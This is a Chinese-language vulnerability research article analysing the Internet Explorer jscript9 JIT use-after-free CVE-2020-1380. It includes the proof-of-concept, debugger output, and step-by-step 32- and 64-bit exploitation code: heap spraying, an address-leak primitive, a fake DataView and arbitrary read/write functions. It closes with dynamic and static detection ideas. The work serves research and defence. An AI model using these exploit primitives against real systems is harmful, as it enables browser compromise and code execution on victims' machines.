IE 浏览器 0day 漏洞 CVE-2020-1380 的分析、利用和检测

admin 2021年12月2日08:35:30评论94 views字数 15290阅读50分58秒阅读模式

IE 浏览器 0day 漏洞 CVE-2020-1380 的分析、利用和检测


1

概述
CVE-2020-1380 是卡巴斯基去年捕获的 0day,是位于 Internet Explorer 11的 JavaScript 引擎 jscript9.dll 中的 UAF(Use-After-Free)漏洞。
在 POC 公开后,iamelli0t 与银雁冰陆续对漏洞成因与利用思路进行了分享。
本文旨在补充漏洞成因与利用思路中被前三者(卡巴斯基、iamelli0t与银雁冰)省略的部分细节,分享基于32位的漏洞利用实现64位漏洞利用的过程,并提出针对该漏洞的动静态检测方法。
希望能对学习有关内容的同学有所帮助。如果发现分析过程中疏漏的地方还请批评指正,谢谢。
本文基于卡巴斯基公开的 POC ,其代码如下:
function func(O, A, F, O2) {    arguments.push = Array.prototype.push;    O = 1;    arguments.length = 0;    arguments.push(O2);    if (F == 1) {        O = 2;    }
// execute abp.valueOf() and write by dangling pointer A[5] = O;};
// prepare objectsvar an = new ArrayBuffer(0x8c);var fa = new Float32Array(an);
// compile funcfunc(1, fa, 1, {});for (var i = 0; i < 0x10000; i++) { func(1, fa, 1, 1);}
var abp = {};abp.valueOf = function() {
// free worker = new Worker('worker.js'); worker.postMessage(an, [an]); worker.terminate(); worker = null;
// sleep var start = Date.now(); while (Date.now() - start < 200) {}
// TODO: reclaim freed memory
return 0};
try { func(1, fa, 0, abp);} catch (e) { reload()}


2

漏洞成因

Jscript9 在 JIT(Just-In-Time)编译使用 Array.prototype.push() 给函数参数赋值的代码时,编译器没有考虑到可以通过这种方式修改参数类型。

POC 中的 func 函数内,编译器认为访问参数O时不会触发隐式调用,导致JIT代码中使用O执行赋值操作时没有设置 DisableImplicitFlags 标志位。当其类型为 Object 且重写了 valueOf() 方法时,在 JIT 代码中就可以通过赋值操作触发回调。
POC 中的回调函数内,通过将 an 发送到 Worker 后销毁 Worker 对象实现释放 an(an 是 fa 对象的Buffer),回调返回后向fa[5] 赋值时(A[5] = O),由于该内存已被释放,就会触发访问异常:
(40c.1884): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=1adb1f70 ebx=147871b0 ecx=00000000 edx=13a16db8 esi=19a4b170 edi=20c3bca0eip=715d8d33 esp=0bdecce4 ebp=0bdecce4 iopl=0         nv up ei pl zr ac pe cycs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010257jscript9!Js::JavascriptConversion::ToFloat_Helper+0x13:715d8d33 d918            fstp    dword ptr [eax]      ds:002b:1adb1f70=????????

漏洞修复前后的 JIT 代码对比:

修复前,没有设置DisableImplicitFlags:
... lea eax, [eax] push 1DDA88B8h push eax push ecx <----- no DisableImplicitFlags call jscript9!Js::JavascriptConversion::ToFloat_Helper (715d8d20) jmp 1e3d02b6 ...
修复后,设置了DisableImplicitFlags:
... lea eax, [eax] push 2A98C8B8h push eax push ecx mov byte ptr ds:[13213F68h], 1 mov byte ptr ds:[13213E86h], 3 <----- set DisableImplicitFlags call jscript9!Js::JavascriptConversion::ToFloat_Helper (70c5ac50) mov byte ptr ds:[13213E86h], 0 cmp byte ptr ds:[13213F68h], 1 je 0fd302b7 ...
卡巴斯基认为该漏洞的成因中还包括 “in just-in-time compiled code, the life cycle of ArrayBuffer is not checked” ,但实际上这与漏洞成因无关。
iamelli0t 认为漏洞的本质是:“the type inference error of arguments[0] in the backend JIT GlobOpt phase is the root cause. The JIT engine doesn't know the side effect of Array.prototype.push, which can be used to change the type of arguments[0]. The type of arguments[0] should be killed after Array.prototype.push operation to avoid this type inference error issue.”。
由于 Jscript9 闭源且为 ChakraCore 的分支,在观察了 ChakraCore中POC 被 JIT 编译的过程后发现, “A[5] = O” 对应的JIT代码逻辑:检测O的类型是否为数字,是则赋值,否则 bailout 。而 Jscript9 中对应的JIT代码逻辑:检测O的类型是否为数字,是则赋值,否则进行类型转换后再赋值。
如果不在 JIT 代码中进行类型转换,也就不必考虑 iamelli0t 提到的 “the side effect of Array.prototype.push, which can be used to change the type of arguments[0].” 这一点。
该漏洞修复后只是修复了当前漏洞场景下的类型推断错误,或许还会有通过其他方式导致相似 Bug。
3

 32位下的漏洞利用

银雁冰的32位漏洞利用思路已经写的比较清楚,但是为了方便理解与描述差异,还是首先介绍32位下的漏洞利用过程:

3.1 UAF-1

首先利用漏洞实现第一次 UAF,而这次 UAF 的目的是为了实现第二次 UAF。

第一次 UAF 的过程对应 POC 中代码:

1、在系统堆上创建大小为 0x8c 的 ArrayBuffer ,并用它创建一个 Array 。

2、反复调用函数触发 JIT 后,在 JIT 后的函数中通过 Array[5] = Object 触发 Object.valueOf() 回调,在回调函数内释放 ArrayBuffer。

3、通过创建成员数量为 (0x1000 - 0x20) / 4 的 Array 对象,在系统堆上创建大小为 0x8c 的 LargeHeapBlock 对象,利用该对象重用 ArrayBuffer 的内存。

// TODO: reclaim freed memory for (var i = 0; i < T.length; i += 1) {     T[i] = new Array((0x1000 - 0x20) / 4);     T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket }

4、Jscript9 管理的 Array 对象 Buffer 大小为:数组大小*4+0x20,因此第三点中还创建了大小为 0x1000 的 Buffer 。

5、回调函数返回,此时 Array[5] 指向 LargeHeapBlock+0x14 处,回调函数返回值 (0) 被写入该位置。而 LargeHeapBlock+0x14 处保存了该对象管理的已分配内存块数量,当该值为0时,触发垃圾回收可以释放该LargeHeapBlock 对象管理的内存块。

3.2 UAF-2

通过调用 CollectGarbage() 触发第二次 UAF,这次 UAF 的目的是为了实现信息泄露:

1、调用 CollectGarbage() 手动触发 gc。gc 过程中会遍历对象,当访问到被第一次 UAF 修改了的 LargeHeapBlock 时,会清理该对象管理的内存;此时该对象管理的 Array 对象的 Buffer 就变为了垂悬指针。

2、再次创建和第一次 UAF 时一样大的 Array 对象,这会导致重用被 gc 释放的 Buffer ,即重用’1. ’中所述的垂悬指针,获得了一个被两个 Array 对象共用的 Buffer。

CollectGarbage();
for (var i = 0; i < K.length; i += 1) { K[i] = new Array((0x1000 - 0x20) / 4); K[i][0] = 0x888; // store magic }
for (var i = 0; i < T.length; i += 1) { if (T[i][0] == 0x888) { // find array accessible through dangling pointer obj_arr = T[i]; obj_arr[0] = 0x999; break; } } for (var i = 0; i < K.length; i += 1) { if (K[i][0] == 0x999) { int_arr = K[i]; break; } }

3、此时 obj_arr 和 int_arr 的 Buffer 相同,且类型都为 JavascriptNativeIntArray(Int数组);向 obj_arr 中 传入对象 (obj_arr[0] = {}),会使 Jscript9 自动进行类型转换;此时 obj_arr 和 int_arr 的 Buffer 依旧一致,并且 obj_arr 的类型被修改为了 JavascriptArray(对象数组)。

4、通过将对象放入 obj_arr,再通过 int_arr 将其值取出,就可以泄露对象地址,将该操作封装成函数方便后续利用过程使用。

 obj_arr[0] = {};
function leak_obj(obj) { obj_arr[2] = obj; return int_arr[2]; }

3.3 Arbitrary R/W

获得了信息泄露原语后,可以通过伪造一个 DataView 对象来实现任意地址读写,这部分的利用思路就比较具有普适性了,并且资料也较多。下面简单描述一下思路:

1、创建一个长度为 0x10 的 JavascriptNativeIntArray(Int数组),从而使其 Buffer 紧跟在 Int 数组后方,利用第二次 UAF 获得的信息泄露函数得到它的地址。

 var ga = new Array(6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6); var ga_addr = 0; ga_addr = leak_obj(ga)

2、从 ga 地址 +0x38 处取出其 Buffer 地址,利用信息泄露原语将 Buffer 地址作为对象读出,使 dv 指向伪造的 DataView 对象。

 R[2] = ga; I[2] = I[2] + 0x38; var dv = R[2];

3、向 Int 数组中写入 DataView 结构,涉及的结构如下:

 DataView: +0x0  : vtable; +0x4  : TypeObject; +0x8  : 0; +0xc  : 0; +0x10 : JavascriptArrayBuffer; +0x14 : 0; +0x18 : size; +0x1c : Buffer;
TypeObject: +0x0 : typeId; +0x4 : JavascriptLibrary; +0x8 : prototype; +0xc : Js::RecyclableObject::DefaultEntryPoint; +0x10 : 0; +0x14 : 0; +0x18 : SimplePathTypeHandler; +0x1c : value;

 DataView 进行读取时,只需要保证:

  • TypeObject 对象的 typeId 正确,JavascriptLibrary 地址合法。

  • size 字段值不过小,value 值可读写。

 因此伪造的 DataView 如下:

 var dv_addr = ga_addr + 0x38; ga[0] = 0x2e; ga[1] = dv_addr; ga[2] = dv_addr - 0x210; ga[3] = 0; ga[4] = ga_addr + 0x24; ga[5] = 0; ga[6] = -1; ga[7] = dv_addr

4、通过 DataView.prototype 去访问 DataView 对象的方法时不需要访问其虚函数表,这时就可以将需要读写的地址作为伪造的 DataView 对象的 Buffer来封装任意地址读写。

 function setDataAddress(addr) {     if (addr >= 0x80000000) {         addr = -(0x100000000 - addr);     }     ga[0x1c / 4] = addr; }
function read32(addr) { setDataAddress(addr); return DataView.prototype.getUint32.call(dv, 0, true); }
function write32(addr, v) { setDataAddress(addr); DataView.prototype.setUint32.call(dv, 0, v, true); }

5、创建一个 DataView 对象,从其中读取出正确的 TypeObject,覆盖原先伪造的 TypeObject,防止后续读写过程中崩溃。

 var rdv = new DataView(new ArrayBuffer(8)); var rtype = read32(leak_obj(rdv) + 4);
// Fix fake DataView->type ga[0x04 / 4] = rtype

至此实现了任意地址读写原语,接下只需利用任意地址读写劫持控制流,需要 POC 的同学可以移步古河老师的 Github,或者自己根据公开思路实现,这里就不赘述。

IE 浏览器 0day 漏洞 CVE-2020-1380 的分析、利用和检测

pop calc


4

 64位下的漏洞利用

第二节中详细描述了32位下的利用思路并最终弹出了计算器,而在64位下由于指针宽度改变,UAF 过程使用的对象大小需要重新选择。

4.1 UAF-1

修改 Array 对象的成员数量: 

32位下Array对象的Buffer,+10h开始0x10字节为Array data header,+20h开始为用户数据 0:008> dd 0ccd8000 0ccd8000  00000000 00000ff0 00000000 00000000 0ccd8010  00000000 00000001 000003f8 00000000 0ccd8020  00000666 80000002 80000002 80000002 0ccd8030  80000002 80000002 80000002 80000002
64位下Array对象的Buffer,+20h开始0x18字节为Array data header,+38h开始为用户数据 0:032> dq 00000126`86c7e000 00000126`86c7e000 00000000`00000003 00000000`00001fe0 00000126`86c7e010 00000000`00000000 00000000`00000000 00000126`86c7e020 000007f0`00000000 00000000`000007f2 00000126`86c7e030 00000000`00000000 00000666`00000666 00000126`86c7e040 00000666`00000666 00000666`0000066

因此在控制 Array 对象 Buffer 大小时,减去的 header 大小需要改为0x38。

重新选择用来 UAF 的 LargeHeapBlock 对象大小:
32位下的LargeHeapBlock对象: 0:002> dd 0b58c240 0b58c240  713e2d60 0bd0c000 099ce168 00000003 0b58c250  00000004 00000004 0000000d 0bd10000 0b58c260  0bd10000 0b58c2d8 00000000 05c0089c 0b58c270  00000000 00000000 00000000 0b58c240 0b58c280  00000000 00000000 00000000 00000000 0b58c290  0bd0c000 0bd0d000 0bd0e000 0bd0f000 0b58c2a0  00000000 00000000 00000000 00000000 0b58c2b0  00000000 00000000 00000000 00000000   64位下的LargeHeapBlock对象: 0:027> dq 0x000001819068bb30 00000181`9068bb30  00007fff`50ad2780 00000181`917f0000 00000181`9068bb40  00000181`906b0400 00000000`00000003 00000181`9068bb50  00000000`00000010 00000001`00000000 00000181`9068bb60  00000181`91800000 00000181`91800000 00000181`9068bb70  00000181`9068bc90 00000000`00000000 00000181`9068bb80  00000000`00000000 00000000`00000000 00000181`9068bb90  00000000`00000000 00000000`00000000
开启页堆时,可以定位到创建 LargeHeapBlock 对象的函数:LargeHeapBucket::AddLargeHeapBlock:
 struct LargeHeapBlock *__fastcall LargeHeapBucket::AddLargeHeapBlock(LargeHeapBucket *this,unsigned __int64 a2) {     ...     v6 = PageAllocator::Alloc((PageAllocator *)(v5 + 0x10), &v14, &v15);     v7 = v6;     if ( v6 )     {     v8 = v14;     v9 = this;     if ( !*((_BYTE *)this + 56) )         v9 = 0i64;     v10 = LargeHeapBlock::New(v6, v14, v15, (unsigned int)(((v14 << 12) - a2 - 32) >> 10) + 1, v9);     v11 = v10;     ... }
其中 PageAllocator::Alloc 负责分配 Block ,LargeHeapBlock::New 负责创建新的 LargeHeapBlock 对象,在这两个函数下断点即可得到每次分配的大小和地址:
 bp jscript9!PageAllocator::Alloc+0x30 ".printf "Allocated 0x%x bytes Block on LargeHeapBlock, address: 0x%p \n", @rsi, @rax;gc;" bp jscript9!LargeHeapBlock::New+0x47 ".printf "Allocated 0x%x bytes LargeHeapBlock,", @rdx;gc;" bp jscript9!LargeHeapBlock::New+0x4c ".printf "on heap: 0x%p\n", @rax;gc;"

 通过创建不同大小的 Array ,发现64位下的 LargeHeapBlock 对象大小可能为:

0xa0/0xa8/0xb0/0xb8/0xd0/0xe8/0x100/0x118/0x130/0x148/0x160/0x178/0x190

 为了创建连续的 Buffer,需要使 Buffer 大小对齐到0x1000。其中:

  • Buffer 大小为0x1000时,LargeHeapBlock对象大小为0x100;

  • Buffer 大小为0x2000时,LargeHeapBlock对象大小为0x160;

  • 其他满足条件大小的 Buffer 对应的 LargeHeapBlock 对象大小都为0xa0。

进行堆喷之前,在 windbg 中使用 “!heap -flt s [size]” 搜索对应大小的堆块可以发现,只有大小为0x160的堆块数量较少。这说明大小为该值时,释放后被其他堆块占用的可能性更小。

因此选择 UAF 对象的大小为 0x160,对应的 Array 大小为 (0x2000 - 0x38) / 4。

3、在系统堆上创建大小为 0x160 的 ArrayBuffer ,并用它创建一个 Array。

 var an = new ArrayBuffer(0x160); var fa = new Float32Array(an);

4、反复调用函数触发 JIT 后,在 JIT 后的函数中通过 Array[0xA] = Object 触发 Object.valueOf() 回调,在回调函数内释放 ArrayBuffer。

 function func(O, A, F, O2) {     arguments.push = Array.prototype.push;     O = 1;     arguments.length = 0;     arguments.push(O2);     if (F == 1) {         O = 2;     }     A[0xa] = O; }
// compile func func(1, fa, 1, {}); for (var i = 0; i < 0x10000; i++) { func(1, fa, 1, 1); }
try { func(1, fa, 0, abp); } catch (e) { location.reload(); }

5、valueOf() 回调函数内,通过创建成员数量为 (0x2000 - 0x38) / 4 的 Array 对象,在系统堆上创建大小为 0x160 的 LargeHeapBlock 对象,利用该对象重用 ArrayBuffer 的内存。

 var abp = {}; abp.valueOf = function () {     // free     worker = new Worker("worker.js");     worker.postMessage(an, [an]);     worker.terminate();     worker = null;
// sleep var start = Date.now(); while (Date.now() - start < 200) {}
// TODO: reclaim freed memory for (var i = 0; i < spray_arr_int.length; i += 1) { spray_arr_int[i] = new Array((0x2000 - 0x38) / 4); for (var j = 0; j < spray_arr_int[i].length; j += 1) { spray_arr_int[i][j] = 0x666; } } return 0; };

6、回调函数返回,此时 Array[0xA] 指向 LargeHeapBlock+0x28 处,回调函数返回值 (0) 被写入该位置。而64位下 LargeHeapBlock+0x28 处保存了该对象管理的已分配内存块数量,当该值为0时,触发垃圾回收可以释放该 LargeHeapBlock 对象管理的内存块。

4.2 UAF-2

接下来继续第二次UAF:

1、调用 CollectGarbage() 手动触发 gc。gc 过程中会遍历对象,当访问到被第一次 UAF 修改了的 LargeHeapBlock 时,会清理该对象管理的内存;此时该对象管理的 Array 对象的 Buffer 就变为了垂悬指针。

2、重新思考第二次 UAF 的目的与 Array 对象的 Buffer 大小计算方式:

  • 第二次UAF的目的是为了得到指向同一块Buffer的JavascriptNativeIntArray 和 JavascriptArray。这时如果还像32位时先重用 Buffer 再做类型转换,由于 JavascriptArray 成员大小为 QWORD,就会导致 JavascriptArray 的 Buffer 大小不够,重新分配新的 Buffer,无法实现目的。

  • 因此64位下需要控制重新分配后的 Buffer 大小,使类型转换后的 JavascriptArray 对象的 Buffer 重用到之前被释放的JavascriptNativeIntArray 对象的 Buffer:
  for (var i = 0; i < spray_arr_object.length; i += 1) {      // spray_arr_int[i] = new Array((0x2000 - 0x38) / 4);      // [+]申请的Buffer大小为 0x7F2*4 + 0x38 = 0x2000h      // [+]Array结构成员数量是7F2
spray_arr_object[i] = new Array((0x2000 - 0x38) / 8); // [+]控制Array结构成员数量为0x3F9
spray_arr_object[i][0] = 0x888; // store magic
spray_arr_object[i][1] = {}; // [+]将NativeIntArray转换成了JavascriptArray // [+]JavascriptArray结构成员数量为0x3F9 // [+]重新申请的Buffer大小为 0x3F9*8+0x38 = 0x2000 }
  • 此外,由于两个数组成员大小不一致,整数数组访问对象数组时,前者需要的 index 值是后者的一倍(伪代码:arr_int[2n+1]<<32+arr_int[2n] = arr_obj[n])。为了防止后续访问时 index 超过数组成员数量在 Javascript 中触发异常,在进行堆喷时就先初始化对象数组所有成员。

  for (var j = 2; j < spray_arr_object[i].length; j += 1) {      //防止数组访问越界在Javascript内触发异常      spray_arr_object[i][j] = 0x888;  }

3、此时 obj_arr 和 int_arr 的 Buffer 相同,通过将对象放入 obj_arr[2] ,再通过 [int_arr[4], int_arr[5]] 将其值取出,就可以得到对象地址,将该操作封装成函数方便后续利用过程使用。

 function LeakObject(obj) {     vuln_obj_array[2] = obj;     return [vuln_int_array[4], vuln_int_array[5]]; }
4.3 Arbitrary R/W

获得了64位下的信息泄露后,任意地址读写以及代码执行的实现思路和32位下基本一致,这里就不再赘述。

只是需要注意实现 read64 时需要使用 DataView.prototype.getInt32.call 方法而不是 DataView.prototype.getUint32.call 方法,否则在读取大于0x7fffffff 的值时会出现地址正确但无法读出正确值的情况。

function read64(addr, offset) {    setDataAddress(addr);    return [        DataView.prototype.getInt32.call(dv, offset + 0, true),        DataView.prototype.getInt32.call(dv, offset + 4, true),    ];}


5

 动静态检测思路

5.1 动态检测

最初想要使用动态检测一般漏洞的思路,即在漏洞成因位置做检测。但是经过请教熟悉 JIT 引擎的师傅和补丁分析发现:二进制文件改动大,影响的函数多。实现上述思路需要监控的函数调用会很多(也没找到该监控哪些函数调用),难度也比较高。

在放弃了从漏洞成因做检测后,经过调试发现,JIT代码块相较一般函数具有一定特征:
[+]VariableName:func |-PropertyAddr:0xbcea654 |-type: Js::ScriptFunction |-EP addr:07be0000 |-number of calls: 5461
0:002> u 0x7be000007be0000 55 push ebp07be0001 8bec mov ebp,esp07be0003 81fc5cc9fa04 cmp esp,4FAC95Ch07be0009 0f8f0f000000 jg 07be001e07be000f 68f895c905 push 5C995F8h
0:002> u Js::InterpreterStackFrame::Processjscript9!Js::InterpreterStackFrame::Process:7147fd20 8bff mov edi,edi7147fd22 55 push ebp7147fd23 8bec mov ebp,esp7147fd25 81ec14020000 sub esp,214h

对比两者可以发现:

  • JIT 代码块的基地址会对齐到 0x10000。

  • JIT 代码块头部没有 padding。

 8bff            mov     edi,edi
通过上面两点特征,可以认为:当一个函数的返回值对齐到 0x10000 后,头三个字节为 “0x55 0x8b 0xec” 时,该函数的调用者是 JIT 代码。

基于上述方法,可以在 Js::JavascriptConversion::ToFloat_Helper 函数内针对漏洞影响做检测:

1. 返回地址是否位于JIT代码中;

2. 参数对应的对象类型是否为 Object ,该对象有没有重写 valueOf 方法;

3. 返回地址之前有没有设置 DisableImplicitFlags 。

5.2 静态检测

可以触发该漏洞必须包含的代码逻辑为:

1、重写 valueOf 方法;

 .valueOf = function()

2、将 arguments.push 修改为 Array.prototype.push;

 arguments.push = Array.prototype.push

3、利用 Worker 对象的 postMessage 方法释放对象;

 .postMessage

4、调用 terminate 方法销毁 Worker 对象。

 .terminate()
通过 Yara 规则检测是否存在上述四个特征字符串即可检出该漏洞 POC,但是可能存在误报。如果需要精准识别该漏洞,可以添加漏洞利用的静态特征。

6

新的攻击手法

前不久的7月14日,Google Threat Analysis Group (TAG) 公开了他们捕获的四个 ITW(in-the-wild) 0day 的详细信息,其中的 CVE-2021-33742是位于 IE 的 MSHTML 模块中的漏洞。Google 对其描述为:“This happened by either embedding a remote ActiveX object using a Shell.Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page.” 。虽然提到了 VBA宏,但文章中给出的两个有关样本的攻击手法都为利用 Shell.Explorer.1 对象在 Office 中加载 Internet Explorer 漏洞。

在编辑模式下打开包含 Shell.Explorer.1 对象的 Office 文档时,会弹出“安全警告”。

IE 浏览器 0day 漏洞 CVE-2020-1380 的分析、利用和检测


但在编辑模式下,Office 进程是不受沙箱保护的,如果受害者点击了“启用内容”按钮,漏洞利用创建的进程将是 “Medium” 权限,这与先前利用 URL Moniker 去加载 IE 漏洞的方式本质上是相似的:

IE 浏览器 0day 漏洞 CVE-2020-1380 的分析、利用和检测

两者的主要区别在于是否免杀,并且 Internet Explorer 11 即将终止支持并不影响使用了其中组件的其他程序,微软在 CVE-2021-33742 漏洞通告中对这一点的描述为:“While Microsoft has announced retirement of the Internet Explorer 11 application on certain platforms and the Microsoft Edge Legacy application is deprecated, the underlying MSHTML, EdgeHTML, and scripting platforms are still supported. The MSHTML platform is used by Internet Explorer mode in Microsoft Edge as well as other applications through WebBrowser control. The EdgeHTML platform is used by WebView and some UWP applications. The scripting platforms are used by MSHTML and EdgeHTML but can also be used by other legacy applications.”。

这意味着如果攻击者发现其他加载方式,即使 IE 已经被弃用,还是能够利用其组件中的漏洞进行攻击,危害依旧严重。

7

总结

明年的6月15日,Internet Explorer 11 就将终止支持,在这一年的空档期内,或许就会出现 Jscript9 模块内的其他 0day,搞纯研究的师傅们一般都不关心这种没赏金的模块,而大多数样本分析人员又无法分析 0day,因此只有夹在中间,不会挖洞但能分析些 0day 的菜狗顶上。


8

参考资料
[1]:https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/

[2]:https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html

[3]:https://bbs.pediy.com/thread-263885.htm

[4]:https://docs.microsoft.com/en-us/lifecycle/faq/internet-explorer-microsoft-edge

[5]:https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/

[6]:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33742

[7]:https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Li-Using-the-JIT-Vulnerability-to-Pwning-Microsoft-Edge.pdf

[8]: https://www.anquanke.com/post/id/98774

[9]: https://blog.theori.io/research/jscript9_typed_array/

[10]:https://www.rapid7.com/blog/post/2014/04/07/hack-away-at-the-unessential-with-explib2-in-metasploit/

[11]: https://paper.seebug.org/189/

[12]:https://labs.bluefrostsecurity.de/files/Look_Mom_I_Dont_Use_Shellcode-WP.pdf

[13]:https://github.com/guhe120/browser/blob/master/GC/jit_calc.html 


- END -


公众号内回复“1380”,可获取PDF版报告。



关于微步在线研究响应团队

微步情报局,即微步在线研究响应团队,负责微步在线安全分析与安全服务业务,主要研究内容包括威胁情报自动化研发、高级 APT 组织&黑产研究与追踪、恶意代码与自动化分析技术、重大事件应急响应等。


微步情报局由精通木马分析与取证技术、Web 攻击技术、溯源技术、大数据、AI 等安全技术的资深专家组成,并通过自动化情报生产系统、云沙箱、黑客画像系统、威胁狩猎系统、追踪溯源系统、威胁感知系统、大数据关联知识图谱等自主研发的系统,对微步在线每天新增的百万级样本文件、千万级 URL、PDNS、Whois 数据进行实时的自动化分析、同源分析及大数据关联分析。微步情报局自设立以来,累计率先发现了包括数十个境外高级 APT 组织针对我国关键基础设施和金融、能源、政府、高科技等行业的定向攻击行动,协助数百家各个行业头部客户处置了肆虐全球的 WannaCry 勒索事件、BlackTech 定向攻击我国证券和高科技事件、海莲花长期定向攻击我国海事/高科技/金融的攻击活动、OldFox 定向攻击全国上百家手机行业相关企业的事件。



内容转载与引用



1. 内容转载,请微信后台留言:转载+转载平台

2. 内容引用,请注明出处:以上内容引自公众号“微步在线研究响应中心”


本文始发于微信公众号(微步在线研究响应中心):IE 浏览器 0day 漏洞 CVE-2020-1380 的分析、利用和检测

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月2日08:35:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   IE 浏览器 0day 漏洞 CVE-2020-1380 的分析、利用和检测https://cn-sec.com/archives/438816.html

发表评论

匿名网友 填写信息